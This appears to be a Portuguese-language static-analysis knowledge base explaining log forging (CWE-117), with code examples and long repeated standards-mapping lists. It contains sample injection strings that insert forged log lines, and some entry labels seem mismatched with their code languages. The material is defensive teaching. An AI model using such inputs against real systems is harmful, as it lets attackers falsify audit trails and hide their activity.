[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.log_forging
Abstract
A função identificada grava entradas de usuário inválidas no registro. Um invasor pode tirar vantagem desse comportamento para falsificar entradas de log ou injetar conteúdo mal-intencionado no log.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, arquivos de log podem ser analisados manualmente conforme necessário ou examinados automaticamente por ferramentas que pesquisam os logs em busca de importantes pontos de dados ou tendências.

O exame dos arquivos de log poderá ser impedido ou conclusões baseadas em dados de log poderão estar erradas se um invasor tiver permissão para fornecer ao aplicativo dados que posteriormente serão registrados de maneira literal. Um invasor pode inserir entradas falsas no arquivo de log, incluindo caracteres separadores de entradas de log em seus dados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor injeta código ou outros comandos no arquivo de log e tira proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo 1: O código a seguir de um script CGI aceita uma cadeia de caracteres enviada pelo usuário e tenta convertê-la no valor de inteiro longo que ela representa. Se não for possível analisar o valor como um inteiro, seu valor será registrado em log com uma mensagem de erro indicando o que aconteceu.


long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...



Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


INFO: Illegal value=twenty-one


No entanto, se um invasor enviar a string "twenty-one\n\nINFO: User logged out=evil", a seguinte entrada será registrada:


INFO: Illegal value=twenty-one

INFO: User logged out=evil


Claramente, o invasor pode usar esse mesmo mecanismo para inserir entradas de log arbitrárias. Para que esse tipo de ataque de falsificação de log seja eficaz, um invasor deve primeiro identificar os formatos de entrada de log válidos, mas isso muitas vezes pode ser feito por meio de vazamentos de informações do sistema no aplicativo de destino.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];

if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>


Se um usuário enviar a cadeia de caracteres "twenty-one" para logout e ele puder criar um usuário com o nome "admin", a seguinte entrada será armazenada em log:


PHP Notice: Attempt to log out: name: admin logout: twenty-one


No entanto, se um invasor puder criar um nome de usuário "admin+logout:+1+++++++++++++++++++++++", a seguinte entrada será armazenada em log:


PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


name = req.field('name')
...
logout = req.field('logout')

if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))


Se um usuário enviar a cadeia de caracteres "twenty-one" para logout e ele puder criar um usuário com o nome "admin", a seguinte entrada será armazenada em log:


Attempt to log out: name: admin logout: twenty-one


No entanto, se um invasor puder criar um nome de usuário "admin+logout:+1+++++++++++++++++++++++", a seguinte entrada será armazenada em log:


Attempt to log out: name: admin logout: 1 logout: twenty-one
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

